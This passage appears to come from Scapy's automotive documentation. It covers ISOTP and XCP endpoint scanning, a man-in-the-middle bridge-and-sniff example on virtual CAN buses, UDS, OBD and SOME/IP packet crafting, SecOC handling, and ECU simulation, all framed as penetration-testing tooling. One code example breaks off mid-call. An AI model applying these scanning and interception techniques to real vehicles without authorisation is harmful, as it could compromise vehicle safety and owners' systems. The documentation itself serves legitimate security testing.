conf.contribs['CANSocket'] = {'use-python-can': False} >>> load_layer("can") >>> load_contrib("automotive.xcp.xcp") >>> sock = CANSocket("vcan0") >>> sock.basecls = XCPOnCAN >>> scanner = XCPOnCANScanner(sock) >>> result = scanner.start_scan() The result includes the slave_id (the identifier of the Ecu that receives XCP messages), and the response_id (the identifier that the Ecu will send XCP messages to). ISOTP ===== ISOTP message ------------- Creating an ISOTP message:: load_contrib('isotp') ISOTP(tx_id=0x241, rx_id=0x641, data=b"\x3eabc") Creating an ISOTP message with extended addressing:: ISOTP(tx_id=0x241, rx_id=0x641, rx_ext_address=0x41, data=b"\x3eabc") Creating an ISOTP message with extended addressing:: ISOTP(tx_id=0x241, rx_id=0x641, rx_ext_address=0x41, ext_address=0x41, data=b"\x3eabc") Create CAN-frames from an ISOTP message:: ISOTP(tx_id=0x241, rx_id=0x641, rx_ext_address=0x41, ext_address=0x55, data=b"\x3eabc" * 10).fragment() Send ISOTP message over ISOTP socket:: isoTpSocket = ISOTPSocket('vcan0', tx_id=0x241, rx_id=0x641) isoTpMessage = ISOTP('Message') isoTpSocket.send(isoTpMessage) Sniff ISOTP message:: isoTpSocket = ISOTPSocket('vcan0', tx_id=0x641, rx_id=0x241) packets = isoTpSocket.sniff(timeout=0.5) ISOTP Sockets ------------- Scapy provides two kinds of ISOTP-Sockets. One implementation, the ``ISOTPNativeSocket`` is using the Linux kernel module from Hartkopp. The other implementation, the ``ISOTPSoftSocket`` is completely implemented in Python. This implementation can be used on Linux, Windows, and OSX. An ``ISOTPSocket`` will not respect ``tx_id, rx_id, rx_ext_address, ext_address`` of an ``ISOTP`` message object. System compatibilities ^^^^^^^^^^^^^^^^^^^^^^ Dependent on your setup, different implementations have to be used. +---------------------+----------------------+-------------------------------------+----------------------------------------------------------+ | Python \ OS | Linux with can_isotp | Linux wo can_isotp | Windows / OSX | +=====================+======================+=====================================+==========================================================+ | Python 3 | ISOTPNativeSocket | ISOTPSoftSocket | ISOTPSoftSocket | | +----------------------+-------------------------------------+ | | | ``conf.contribs['CANSocket'] = {'use-python-can': False}`` | ``conf.contribs['CANSocket'] = {'use-python-can': True}``| +---------------------+------------------------------------------------------------+----------------------------------------------------------+ | Python 2 | ISOTPSoftSocket | | | | | | ``conf.contribs['CANSocket'] = {'use-python-can': True}`` | +---------------------+------------------------------------------------------------+----------------------------------------------------------+ The class ``ISOTPSocket`` can be set to a ``ISOTPNativeSocket`` or a ``ISOTPSoftSocket``. The decision is made dependent on the configuration ``conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': True}`` (to select ``ISOTPNativeSocket``) or ``conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': False}`` (to select ``ISOTPSoftSocket``). This will allow you to write platform independent code. Apply this configuration before loading the ISOTP layer with ``load_contrib('isotp')``. Another remark in respect to ISOTPSocket compatibility. Always use ``with`` for socket creation. This ensures that ``ISOTPSoftSocket`` objects will get closed properly. Example:: with ISOTPSocket("vcan0", rx_id=0x241, tx_id=0x641) as sock: sock.send(...) ISOTPNativeSocket ^^^^^^^^^^^^^^^^^ **Requires:** * Python3 * Linux * Hartkopp's Linux kernel module: ``https://github.com/hartkopp/can-isotp.git`` (merged into mainline Linux in 5.10) During pentests, the ISOTPNativeSockets has a better performance and reliability, usually. If you are working on Linux, consider this implementation:: conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': True} load_contrib('isotp') sock = ISOTPSocket("can0", tx_id=0x641, rx_id=0x241) Since this implementation is using a standard Linux socket, all Scapy functions like ``sniff, sr, sr1, bridge_and_sniff`` work out of the box. ISOTPSoftSocket ^^^^^^^^^^^^^^^ ISOTPSoftSockets can use any CANSocket. This gives the flexibility to use all python-can interfaces. Additionally, these sockets work on Python2 and Python3. Usage on Linux with native CANSockets:: conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': False} load_contrib('isotp') with ISOTPSocket("can0", tx_id=0x641, rx_id=0x241) as sock: sock.send(...) Usage with python-can CANSockets:: conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': False} conf.contribs['CANSocket'] = {'use-python-can': True} load_contrib('isotp') with ISOTPSocket(CANSocket(bustype='socketcan', channel="can0"), tx_id=0x641, rx_id=0x241) as sock: sock.send(...) This second example allows the usage of any ``python_can.interface`` object. **Attention:** The internal implementation of ISOTPSoftSockets requires a background thread. In order to be able to close this thread properly, we suggest the use of Pythons ``with`` statement. ISOTP MITM attack with bridge and sniff --------------------------------------- Set up two vcans on Linux terminal:: sudo modprobe vcan sudo ip link add name vcan0 type vcan sudo ip link add name vcan1 type vcan sudo ip link set dev vcan0 up sudo ip link set dev vcan1 up Import modules:: import threading load_contrib('cansocket') conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': True} load_contrib('isotp') Create to ISOTP sockets for attack:: isoTpSocketVCan0 = ISOTPSocket('vcan0', tx_id=0x241, rx_id=0x641) isoTpSocketVCan1 = ISOTPSocket('vcan1', tx_id=0x641, rx_id=0x241) Create function to send packet on vcan0 with threading:: def sendPacketWithISOTPSocket(): sleep(0.2) packet = ISOTP('Request') isoTpSocketVCan0.send(packet) Create function to forward packet:: def forwarding(pkt): return pkt Create function to bridge and sniff between two buses:: def bridge(): bSocket0 = ISOTPSocket('vcan0', tx_id=0x641, rx_id=0x241) bSocket1 = ISOTPSocket('vcan1', tx_id=0x241, rx_id=0x641) bridge_and_sniff(if1=bSocket0, if2=bSocket1, xfrm12=forwarding, xfrm21=forwarding, timeout=1) bSocket0.close() bSocket1.close() Create threads for sending packet and to bridge and sniff:: threadBridge = threading.Thread(target=bridge) threadSender = threading.Thread(target=sendPacketWithISOTPSocket) Start threads:: threadBridge.start() threadSender.start() Sniff on vcan1:: receive = isoTpSocketVCan1.sniff(timeout=1) Close sockets:: isoTpSocketVCan0.close() isoTpSocketVCan1.close() isotp_scan and ISOTPScanner --------------------------- isotp_scan is a utility function to find ISOTP-Endpoints on a CAN-Bus. ISOTPScanner is a commandline-utility for the identical function. .. image:: ../graphics/animations/animation-scapy-isotpscan.svg Commandline usage example:: python -m scapy.tools.automotive.isotpscanner -h usage: isotpscanner [-i interface] [-c channel] [-b bitrate] [-n NOISE_LISTEN_TIME] [-t SNIFF_TIME] [-x|--extended] [-C|--piso] [-v|--verbose] [-h|--help] [-s start] [-e end] Scan for open ISOTP-Sockets. required arguments: -c, --channel python-can channel or Linux SocketCAN interface name -s, --start Start scan at this identifier (hex) -e, --end End scan at this identifier (hex) additional required arguments for WINDOWS or Python 2: -i, --interface python-can interface for the scan. Depends on used interpreter and system, see examples below. Any python-can interface can be provided. Please see: https://python-can.readthedocs.io for further interface examples. -b, --bitrate python-can bitrate. optional arguments: -h, --help show this help message and exit -n NOISE_LISTEN_TIME, --noise_listen_time NOISE_LISTEN_TIME Seconds listening for noise before scan. -t SNIFF_TIME, --sniff_time SNIFF_TIME Duration in milliseconds a sniff is waiting for a flow-control response. -x, --extended Scan with ISOTP extended addressing. -C, --piso Print 'Copy&Paste'-ready ISOTPSockets. -v, --verbose Display information during scan. Example of use: Python2 or Windows: python2 -m scapy.tools.automotive.isotpscanner --interface=pcan --channel=PCAN_USBBUS1 --bitrate=250000 --start 0 --end 100 python2 -m scapy.tools.automotive.isotpscanner --interface vector --channel 0 --bitrate 250000 --start 0 --end 100 python2 -m scapy.tools.automotive.isotpscanner --interface socketcan --channel=can0 --bitrate=250000 --start 0 --end 100 Python3 on Linux: python3 -m scapy.tools.automotive.isotpscanner --channel can0 --start 0 --end 100 Interactive shell usage example:: >>> conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': True} >>> conf.contribs['CANSocket'] = {'use-python-can': False} >>> load_contrib('cansocket') >>> load_contrib('isotp') >>> socks = isotp_scan(CANSocket("vcan0"), range(0x700, 0x800), can_interface="vcan0") >>> socks [< at 0x7f98e27c8210>, < at 0x7f98f9079cd0>, < at 0x7f98f90cd490>, < at 0x7f98f912ec50>, < at 0x7f98f912e950>, < at 0x7f98f906c0d0>] UDS === The main usage of UDS is flashing and diagnostic of an Ecu. UDS is an application layer protocol and can be used as a DoIP or HSFZ payload or a UDS packet can directly be sent over an ISOTPSocket. Every OEM has its own customization of UDS. This increases the difficulty of generic applications and OEM specific knowledge is required for penetration tests. RoutineControl jobs and ReadDataByIdentifier/WriteDataByIdentifier services are heavily customized. Use the argument ``basecls=UDS`` on the ``init`` function of an ISOTPSocket. Here are two usage examples: .. image:: ../graphics/animations/animation-scapy-uds.svg .. image:: ../graphics/animations/animation-scapy-uds2.svg Customization of UDS_RDBI, UDS_WDBI ----------------------------------- In real-world use-cases, the UDS layer is heavily customized. OEMs define their own substructure of packets. Especially the packets ReadDataByIdentifier or WriteDataByIdentifier have a very OEM or even Ecu specific substructure. Therefore a ``StrField`` ``dataRecord`` is not added to the ``field_desc``. The intended usage is to create Ecu or OEM specific description files, which extend the general UDS layer of Scapy with further protocol implementations. Customization example:: cat scapy/contrib/automotive/OEM-XYZ/car-model-xyz.py #! /usr/bin/env python # Protocol customization for car model xyz of OEM XYZ # This file contains further OEM car model specific UDS additions. from scapy.packet import Packet from scapy.contrib.automotive.uds import * # Define a new packet substructure class DBI_IP(Packet): name = 'DataByIdentifier_IP_Packet' fields_desc = [ ByteField('ADDRESS_FORMAT_ID', 0), IPField('IP', ''), IPField('SUBNETMASK', ''), IPField('DEFAULT_GATEWAY', '') ] # Bind the new substructure onto the existing UDS packets bind_layers(UDS_RDBIPR, DBI_IP, dataIdentifier=0x172b) bind_layers(UDS_WDBI, DBI_IP, dataIdentifier=0x172b) # Give add a nice name to dataIdentifiers enum UDS_RDBI.dataIdentifiers[0x172b] = 'GatewayIP' If one wants to work with this custom additions, these can be loaded at runtime to the Scapy interpreter:: >>> load_contrib('automotive.uds') >>> load_contrib('automotive.OEM-XYZ.car-model-xyz') >>> pkt = UDS()/UDS_WDBI()/DBI_IP(IP='192.168.2.1', SUBNETMASK='255.255.255.0', DEFAULT_GATEWAY='192.168.2.1') >>> pkt.show() ###[ UDS ]### service= WriteDataByIdentifier ###[ WriteDataByIdentifier ]### dataIdentifier= GatewayIP dataRecord= 0 ###[ DataByIdentifier_IP_Packet ]### ADDRESS_FORMAT_ID= 0 IP= 192.168.2.1 SUBNETMASK= 255.255.255.0 DEFAULT_GATEWAY= 192.168.2.1 >>> hexdump(pkt) 0000 2E 17 2B 00 C0 A8 02 01 FF FF FF 00 C0 A8 02 01 ..+............. .. image:: ../graphics/animations/animation-scapy-uds3.svg GMLAN ===== GMLAN is very similar to UDS. It's GMs application layer protocol for flashing, calibration and diagnostic of their cars. Use the argument ``basecls=GMLAN`` on the ``init`` function of an ISOTPSocket. Usage example: .. image:: ../graphics/animations/animation-scapy-gmlan.svg Ecu Utility examples ==================== The Ecu utility can be used to analyze the internal states of an Ecu under investigation. This utility depends heavily on the support of the used protocol. ``UDS`` is supported. Log all commands applied to an Ecu ---------------------------------- This example shows the logging mechanism of an Ecu object. The log of an Ecu is a dictionary of applied UDS commands. The key for this dictionary is the UDS service name. The value consists of a list of tuples, containing a timestamp and a log value Usage example:: ecu = Ecu(verbose=False, store_supported_responses=False) ecu.update(PacketList(msgs)) print(ecu.log) timestamp, value = ecu.log["DiagnosticSessionControl"][0] Trace all commands applied to an Ecu ------------------------------------ This example shows the trace mechanism of an Ecu object. Traces of the current state of the Ecu object and the received message are printed on stdout. Some messages, depending on the protocol, will change the internal state of the Ecu. Usage example:: ecu = Ecu(verbose=True, logging=False, store_supported_responses=False) ecu.update(PacketList(msgs)) print(ecu.current_session) Generate supported responses of an Ecu -------------------------------------- This example shows a mechanism to clone a real world Ecu by analyzing a list of Packets. Usage example:: ecu = Ecu(verbose=False, logging=False, store_supported_responses=True) ecu.update(PacketList(msgs)) supported_responses = ecu.supported_responses unanswered_packets = ecu.unanswered_packets print(supported_responses) print(unanswered_packets) Analyze multiple UDS messages ----------------------------- This example shows how to load ``UDS`` messages from a ``.pcap`` file containing ``CAN`` messages. A ``PcapReader`` object is used as socket and an ``ISOTPSession`` parses ``CAN`` frames to ``ISOTP`` frames which are then casted to ``UDS`` objects through the ``basecls`` parameter Usage example:: with PcapReader("test/contrib/automotive/ecu_trace.pcap") as sock: udsmsgs = sniff(session=ISOTPSession(use_ext_addr=False, basecls=UDS), count=50, opened_socket=sock) ecu = Ecu() ecu.update(udsmsgs) print(ecu.log) print(ecu.supported_responses) assert len(ecu.log["TransferData"]) == 2 Analyze on the fly with EcuSession ---------------------------------- This example shows the usage of an EcuSession in sniff. An ISOTPSocket or any socket like object which returns entire messages of the right protocol can be used. An ``EcuSession`` is used as supersession in an ``ISOTPSession``. To obtain the ``Ecu`` object from an ``EcuSession``, the ``EcuSession`` has to be created outside of sniff. Usage example:: session = EcuSession() with PcapReader("test/contrib/automotive/ecu_trace.pcap") as sock: udsmsgs = sniff(session=ISOTPSession(use_ext_addr=False, basecls=UDS, supersession=session)), count=50, opened_socket=sock) ecu = session.ecu print(ecu.log) print(ecu.supported_responses) SOME/IP and SOME/IP SD messages =============================== Creating a SOME/IP message -------------------------- This example shows a SOME/IP message which requests a service 0x1234 with the method 0x421. Different types of SOME/IP messages follow the same procedure and their specifications can be seen here ``http://www.some-ip.com/papers/cache/AUTOSAR_TR_SomeIpExample_4.2.1.pdf``. Load the contribution:: load_contrib('automotive.someip') Create UDP package:: u = UDP(sport=30509, dport=30509) Create IP package:: i = IP(src="192.168.0.13", dst="192.168.0.10") Create SOME/IP package:: sip = SOMEIP() sip.iface_ver = 0 sip.proto_ver = 1 sip.msg_type = "REQUEST" sip.retcode = "E_OK" sip.srv_id = 0x1234 sip.method_id = 0x421 Add the payload:: sip.add_payload(Raw ("Hello")) Stack it and send it:: p = i/u/sip send(p) Creating a SOME/IP SD message ----------------------------- In this example a SOME/IP SD offer service message is shown with an IPv4 endpoint. Different entries and options basically follow the same procedure as shown here and can be seen at ``https://www.autosar.org/fileadmin/user_upload/standards/classic/4-3/AUTOSAR_SWS_ServiceDiscovery.pdf``. Load the contribution:: load_contrib('automotive.someip') Create UDP package:: u = UDP(sport=30490, dport=30490) The UDP port must be the one which was chosen for the SOME/IP SD transmission. Create IP package:: i = IP(src="192.168.0.13", dst="224.224.224.245") The IP source must be from the service and the destination address needs to be the chosen multicast address. Create the entry array input:: ea = SDEntry_Service() ea.type = 0x01 ea.srv_id = 0x1234 ea.inst_id = 0x5678 ea.major_ver = 0x00 ea.ttl = 3 Create the options array input:: oa = SDOption_IP4_EndPoint() oa.addr = "192.168.0.13" oa.l4_proto = 0x11 oa.port = 30509 l4_proto defines the protocol for the communication with the endpoint, UDP in this case. Create the SD package and put in the inputs:: sd = SD() sd.set_entryArray(ea) sd.set_optionArray(oa) Stack it and send it:: p = i/u/sd send(p) OBD === OBD is implemented on top of ISOTP. Use an ISOTPSocket for the communication with an Ecu. You should set the parameters ``basecls=OBD`` and ``padding=True`` in your ISOTPSocket init call. OBD is split into different service groups. Here are some example requests: Request supported PIDs of service 0x01:: req = OBD()/OBD_S01(pid=[0x00]) The response will contain a PacketListField, called `data_records`. This field contains the actual response:: resp = OBD()/OBD_S01_PR(data_records=[OBD_S01_PR_Record()/OBD_PID00(supported_pids=3196041235)]) resp.show() ###[ On-board diagnostics ]### service= CurrentPowertrainDiagnosticDataResponse ###[ Parameter IDs ]### \data_records\ |###[ OBD_S01_PR_Record ]### | pid= 0x0 |###[ PID_00_PIDsSupported ]### | supported_pids= PID20+PID1F+PID1C+PID15+PID14+PID13+PID11+PID10+PID0F+PID0E+PID0D+PID0C+PID0B+PID0A+PID07+PID06+PID05+PID04+PID03+PID01 Let's assume our Ecu under test supports the pid 0x15:: req = OBD()/OBD_S01(pid=[0x15]) resp = sock.sr1(req) resp.show() ###[ On-board diagnostics ]### service= CurrentPowertrainDiagnosticDataResponse ###[ Parameter IDs ]### \data_records\ |###[ OBD_S01_PR_Record ]### | pid= 0x15 |###[ PID_15_OxygenSensor2 ]### | outputVoltage= 1.275 V | trim= 0 % The different services in OBD support different kinds of data. Service 01 and Service 02 support Parameter Identifiers (pid). Service 03, 07 and 0A support Diagnostic Trouble codes (dtc). Service 04 doesn't require a payload. Service 05 is not implemented on OBD over CAN. Service 06 supports Monitoring Identifiers (mid). Service 08 supports Test Identifiers (tid). Service 09 supports Information Identifiers (iid). Examples: --------- Request supported Information Identifiers:: req = OBD()/OBD_S09(iid=[0x00]) Request the Vehicle Identification Number (VIN):: req = OBD()/OBD_S09(iid=0x02) resp = sock.sr1(req) resp.show() ###[ On-board diagnostics ]### service= VehicleInformationResponse ###[ Infotype IDs ]### \data_records\ |###[ OBD_S09_PR_Record ]### | iid= 0x2 |###[ IID_02_VehicleIdentificationNumber ]### | count= 1 | vehicle_identification_numbers= ['W0L000051T2123456'] .. image:: ../graphics/animations/animation-scapy-obd.svg Message Authentication (AUTOSAR SecOC) ====================================== AutoSAR SecOC is a security architecture protecting communication between ECUs in a vehicle from cyber-attacks. - **Module**: AUTOSAR - **Functions**: Provides message integrity and authentication - **Protection**: Freshness value to counter replay attacks - **Cryptography**: Supports asymmetric and symmetric methods - **Key Distribution**: Not specified - **Unique Identifiers**: Every PDU has a SecOCDataID - **CAN Networks**: Uses CAN identifier - **Ethernet Networks**: Uses PDU identifier or mappings to SecOCDataIDs .. figure:: ../graphics/automotive/autosar1.png :alt: Overview SecOC. Author: AUTOSAR Generation ---------- - Secured I-PDU includes freshness value and MAC - Freshness value increments on every transmit or derived from a tick count - MAC generation uses SecOCDataID, PDU, and freshness value - In symmetric mode, MAC bits can be truncated, reducing security Truncation ---------- .. figure:: ../graphics/automotive/autosar2.png :alt: Secured I-PDU contents with truncated Freshness Counter and truncated Authenticator. Author: AUTOSAR - MAC and freshness value are transferred in truncated format to save bandwidth Verification ------------ - Only LSBs of the freshness value are transmitted - Compute full freshness value internally - Overwrite LSBs of the last received value - Increment MSBs if received LSBs are smaller than the last LSBs - Calculate MAC from PDU and full freshness count - Accept PDU if calculated and transmitted MACs match, otherwise reject Profiles -------- AutoSAR specifies three profiles for truncated freshness value and MAC sizes. All use CMAC with AES128: - **Profile 1 (24Bit-CMAC-8Bit-FV)** - Algorithm: CMAC/AES-128 - Freshness value: 8 bits - MAC: 24 bits - **Profile 2 (24Bit-CMAC-No-FV)** - Algorithm: CMAC/AES-128 - Freshness value: 0 bits - MAC: 24 bits - No freshness values used - **Profile 3 (JASPAR)** - Algorithm: CMAC/AES-128 - Freshness value: 64 bits - Truncated Freshness value: 4 bits - MAC: 28 bits Freshness Value --------------- Protects against replay attacks. AUTOSAR recommends a structure for the freshness value, commonly distributed via authenticated PDUs. .. figure:: ../graphics/automotive/autosar3.png :alt: Structure of FreshnessValue. Author: AUTOSAR Sync Message ------------ Synchronizes the 'Trip Counter' and 'Reset Counter' across all ECUs to maintain a consistent freshness value. - Sync message sent when 'Message Counter' overflows - Security recommendation: Use broadcast or multicast to prevent DoS attacks .. figure:: ../graphics/automotive/autosar4.png :alt: Format of the synchronization message (TripResetSyncMsg). Author: AUTOSAR SecOC in Scapy ============== Scapy supports the dissection, building, verification, and authentication of SecOC messages sent via AUTOSAR PDUs or CANFD packets. The implementation is designed to be vendor-independent and easily customizable, addressing common challenges such as handling freshness values and differentiating between SecOC and non-SecOC PDUs. General Implementation Difficulties ----------------------------------- Implementing SecOC in Scapy involves several challenges: - **Vendor-Specific Implementations**: Different Original Equipment Manufacturers (OEMs) define their own standards for implementing SecOC, requiring the Scapy implementation to be flexible and adaptable. - **Freshness Value Tracking**: Freshness values need to be tracked accurately to ensure proper message authentication and to prevent replay attacks. - **SecOCDataID Management**: The SecOCDataID, which uniquely identifies each PDU, must be known and managed correctly. - **Mix of SecOC and Non-SecOC PDUs**: SecOC PDUs are mixed with non-SecOC PDUs, and the only difference is their identifier. Proper identification and handling are crucial for correct processing. Customization ------------- Scapy SecOC Packets provide three stub functions that need to be customized to handle SecOC properly: .. code-block:: python class My_SecOC_CANFD(SecOC_CANFD): def get_secoc_payload(self) -> bytes: """ This method retrieves the payload, including the SecOCDataID, which is used for MAC computation. """ secoc_data_id = self.identifier # CANFD identifier payload = self.pdu_payload return bytes(secoc_data_id) + bytes(payload) def get_secoc_key(self) -> bytes: """ This method provides the secret key for the specified SecOCDataID. """ secoc_data_id = self.identifier secoc_key = GLOBAL_KEYS[secoc_data_id] return secoc_key def get_secoc_freshness_value(self) -> bytes: """ This method provides the full freshness value required for MAC computation. """ freshness_value = trip_count + reset_counter + message_count + self.tfv return bytes(freshness_value) Preparation ----------- To properly dissect SecOC and non-SecOC AUTOSAR PDUs or CANFD frames, SecOC PDUs need to be registered. This registration informs the dissector whether to use SecOC variants or non-SecOC variants of the packet for dissection. .. code-block:: python My_SecOC_CANFD.register_secoc_protected_pdu(pdu_id=0x123) socket = CANSocket("vcan0", fd=True, basecls=My_SecOC_CANFD) The above code registers the PDU with identifier `0x123` as a SecOC_CANFD packet. All other packets will be interpreted as regular CANFD packets. Working with SecOC ------------------ Once you have obtained a SecOC packet from a socket or a PCAP file, you can use the SecOC-related functions to handle authentication and verification. .. code-block:: python # Suppose this is our SecOC packet pkt: My_SecOC_CANFD # A call to secoc_authenticate will update the truncated freshness value and the truncated MAC of the packet pkt.secoc_authenticate() # The truncated freshness value and MAC are now updated print(pkt.tfv) # Updated truncated freshness value print(pkt.tmac) # Updated truncated MAC # A call to secoc_verify will compute the MAC from the payload of the packet and the local freshness value, # then compare it with the truncated MAC of the packet. if pkt.secoc_verify(): print("Message verified") Simulating ECUs and Security Functions ======================================= Modeling an ECU as an Automaton ------------------------------- To begin, we need to power cycle our simulated ECU by creating a simple automaton with two states: ON and OFF. Before building the actual ECU automaton, we require a power supply interface. Power Supply ------------ The power supply object serves as the interface to power cycle our ECU automaton. It enables communication between the automaton and the power supply to accurately simulate the ECU's power consumption. For multiprocessing support, file descriptors and multiprocessing Values are used. Here’s how to set it up: .. code-block:: python import logging import sys from multiprocessing import Value, Pipe from multiprocessing.sharedctypes import Synchronized logging.basicConfig(stream=sys.stdout, level=logging.DEBUG) class AutomatonPowerSupply(): def __init__(self) -> None: super().__init__() self.logger = logging.getLogger("AutomatonPowerSupply") self.logger.info("Init done") self.voltage_on: Synchronized[int] = Value("i", 0) self.current_noise: Synchronized[int] = Value("i", 0) self.current_on: Synchronized[int] = Value("i", 0) self.delay_off = 0.001 self.delay_on = 0.001 self.read_pipe, self.write_pipe = Pipe() self.closed = False def on(self) -> None: self.logger.debug("ON") with self.voltage_on.get_lock(): self.voltage_on.value = 12 self.write_pipe.send(b"1") def off(self) -> None: self.logger.debug("OFF") with self.voltage_on.get_lock(): self.voltage_on.value = 0 self.write_pipe.send(b"0") def close(self) -> None: if self.closed: return self.closed = True self.read_pipe.close() self.write_pipe.close() def reset(self) -> None: self.off() time.sleep(self.delay_off) self.on() time.sleep(self.delay_on) This code establishes the power supply, enabling it to control the power state of the ECU automaton. The `on`, `off`, and `reset` methods manage state transitions, while `Pipe` and `Value` ensure inter-process communication and synchronization. This setup guarantees accurate modeling and control of the ECU's power consumption within a multiprocessing environment. ECU Automaton ------------- Now that we have a power supply, we can start modeling our ECU automaton, which can be turned on and off. .. code-block:: python from typing import Optional, List, IO, Type, Any from scapy.automaton import Automaton, ATMT class EcuAutomaton(Automaton): def __init__(self, *args: Any, power_supply: AutomatonPowerSupply, **kargs: Any) -> None: self.power_supply = power_supply super().__init__(*args, external_fd={"power_supply_fd": self.power_supply.read_pipe.fileno()}, **kargs) @ATMT.state(initial=1) # type: ignore def ECU_OFF(self) -> None: pass @ATMT.state() # type: ignore def ECU_ON(self) -> None: pass # ====== POWER HANDLING ========== @ATMT.ioevent(ECU_OFF, name="power_supply_fd") # type: ignore def event_voltage_changed_on(self, fd: IO[bytes]) -> None: new_voltage = fd.read(1) if new_voltage == b"1": raise self.ECU_ON() @ATMT.ioevent(ECU_ON, name="power_supply_fd") # type: ignore def event_voltage_changed_off(self, fd: IO[bytes]) -> None: new_voltage = fd.read(1) if new_voltage == b"0": raise self.ECU_OFF() @ATMT.action(event_voltage_changed_on) # type: ignore def action_consumption_on(self) -> None: self.debug(1, "Consuming energy ON") with self.power_supply.current_on.get_lock(): self.power_supply.current_on.value = 1 @ATMT.action(event_voltage_changed_off) # type: ignore def action_consumption_off(self) -> None: self.debug(1, "Consuming energy OFF") with self.power_supply.current_on.get_lock(): self.power_supply.current_on.value = 0 This code defines an `EcuAutomaton` class that models an ECU with two states: ON and OFF. It uses Scapy's automaton framework to handle the state transitions based on the power supply's status. The `event_voltage_changed_on` and `event_voltage_changed_off` methods listen for voltage changes to switch states, while `action_consumption_on` and `action_consumption_off` manage the power consumption behavior. This setup allows for a robust simulation of an ECU's power cycling behavior. Let's give it a shot: .. code-block:: python import threading import time from scapy.contrib.cansocket import NativeCANSocket from scapy.error import log_runtime ps = AutomatonPowerSupply() cs = NativeCANSocket("vcan0") automaton = EcuAutomaton(debug=1, power_supply=ps, sock=cs) automaton.runbg() ps.on() time.sleep(0.1) print(f"Current consumption {ps.current_on.value}") ps.off() time.sleep(0.1) print(f"Current consumption {ps.current_on.value}") automaton.stop() This code sets up and tests our ECU automaton. We import the necessary modules and initialize the power supply and CAN socket. We then create an instance of `EcuAutomaton` with debugging enabled, and run it in the background. We power on the ECU and wait a bit to let it stabilize. Then, we print the current consumption, turn off the power, wait again, and print the current consumption once more. Finally, we stop the automaton. By running this code, you should see the current consumption values change as the ECU powers on and off, demonstrating our automaton in action. Simulating UDS -------------- Next up, we want to communicate with our automaton over UDS (Unified Diagnostic Services), aiming to implement complex state machines like Security Access. Let's start with a simpler example. The following function allows us to receive and send packets from the automaton's socket, as provided in the `init` function. .. code-block:: python class EcuAutomaton(Automaton): # Existing states and transitions @ATMT.receive_condition(ECU_ON) # type: ignore def on_pkt_on_received_ON(self, pkt: Packet) -> None: response = None if pkt: if response := self.get_default_uds_response(pkt): self.my_send(response) def get_default_uds_response(self, pkt: Packet) -> Optional[Packet]: service = bytes(pkt)[0] length = len(pkt) sub_function = bytes(pkt)[1] if length > 1 else None match service, length, sub_function: case 0x10, 2, 1: return UDS() / UDS_DSCPR(b"\x01") case 0x3E, 2, 0: return UDS() / UDS_TPPR() case 0x3E, 2, 0x80: return None case 0x3E, 2, _: return UDS() / UDS_NR(requestServiceId=service, negativeResponseCode="subFunctionNotSupported") case 0x3E, _, _: return UDS() / UDS_NR(requestServiceId=service, negativeResponseCode="incorrectMessageLengthOrInvalidFormat") case 0x27, _, _: return UDS() / UDS_NR(requestServiceId=service, negativeResponseCode="incorrectMessageLengthOrInvalidFormat") case _: return UDS() / UDS_NR(requestServiceId=service, negativeResponseCode="serviceNotSupported") By using Python's match-case operator, we can craft a very elegant UDS answering machine. ECUs are usually precise with their negative response codes, and modeling this becomes straightforward with the match operator. For instance, consider the TesterPresent case. If we receive the correct service, length, and sub-function, we respond positively. If the sub-function is anything else, we fall through to the negative response case "subFunctionNotSupported". If the length is incorrect, we return "incorrectMessageLengthOrInvalidFormat". Finally, if the service is unknown, the function returns "serviceNotSupported". This approach allows us to handle UDS communication effectively and implement the necessary logic for our ECU automaton. Full example: .. code-block:: python from typing import Optional, List, IO, Type, Any from scapy.packet import Packet from scapy.automaton import ATMT, Automaton from scapy.contrib.automotive.uds import * from scapy.contrib.isotp import * class EcuAutomaton(Automaton): def __init__(self, *args: Any, power_supply: AutomatonPowerSupply, **kargs: Any) -> None: self.power_supply = power_supply super().__init__(*args, external_fd={"power_supply_fd": self.power_supply.read_pipe.fileno()}, **kargs) @ATMT.state(initial=1) # type: ignore def ECU_OFF(self) -> None: pass @ATMT.state() # type: ignore def ECU_ON(self) -> None: pass # ====== POWER HANDLING ========== @ATMT.ioevent(ECU_OFF, name="power_supply_fd") # type: ignore def event_voltage_changed_on(self, fd: IO[bytes]) -> None: new_voltage = fd.read(1) if new_voltage == b"1": raise self.ECU_ON() @ATMT.ioevent(ECU_ON, name="power_supply_fd") # type: ignore def event_voltage_changed_off(self, fd: IO[bytes]) -> None: new_voltage = fd.read(1) if new_voltage == b"0": raise self.ECU_OFF() @ATMT.action(event_voltage_changed_on) # type: ignore def action_consumption_on(self) -> None: self.debug(1, "Consuming energy ON") with self.power_supply.current_on.get_lock(): self.power_supply.current_on.value = 1 @ATMT.action(event_voltage_changed_off) # type: ignore def action_consumption_off(self) -> None: self.debug(1, "Consuming energy OFF") with self.power_supply.current_on.get_lock(): self.power_supply.current_on.value = 0 @ATMT.receive_condition(ECU_ON) # type: ignore def on_pkt_on_received(self, pkt: Packet) -> None: if response := self.get_default_uds_response(pkt): self.my_send(response) def get_default_uds_response(self, pkt: Packet) -> Optional[Packet]: service = bytes(pkt)[0] length = len(pkt) sub_function = bytes(pkt)[1] if length else None match service, length, sub_function: case 0x10, 2, 1: return UDS()/UDS_DSCPR(b"\x01") case 0x3E, 2, 0: return UDS() / UDS_TPPR() case 0x3E, 2, 0x80: return None case 0x3E, 2, _: return UDS() / UDS_NR(requestServiceId=service, Test-Setup Tutorials ==================== ISO-TP Kernel Module Installation --------------------------------- A Linux ISO-TP kernel module can be downloaded from this website: ``https://github.com/hartkopp/can-isotp.git``. The file ``README.isotp`` in this repository provides all information and necessary steps for downloading and building this kernel module. The ISO-TP kernel module should also be added to the ``/etc/modules`` file, to load this module automatically at system boot. CAN-Interface Setup ------------------- As the final step to prepare CAN interfaces for usage, these interfaces have to be set up through some terminal commands. The bitrate can be chosen to fit the bitrate of a CAN bus under test. How-To:: ip link set can0 up type can bitrate 500000 ip link set can1 up type can bitrate 500000 Raspberry Pi SOME/IP setup -------------------------- To build a small test environment in which you can send SOME/IP messages to and from server instances or disguise yourself as a server, one Raspberry Pi, your laptop and the vsomeip library are sufficient. #. | **Download image** Download the latest raspbian image 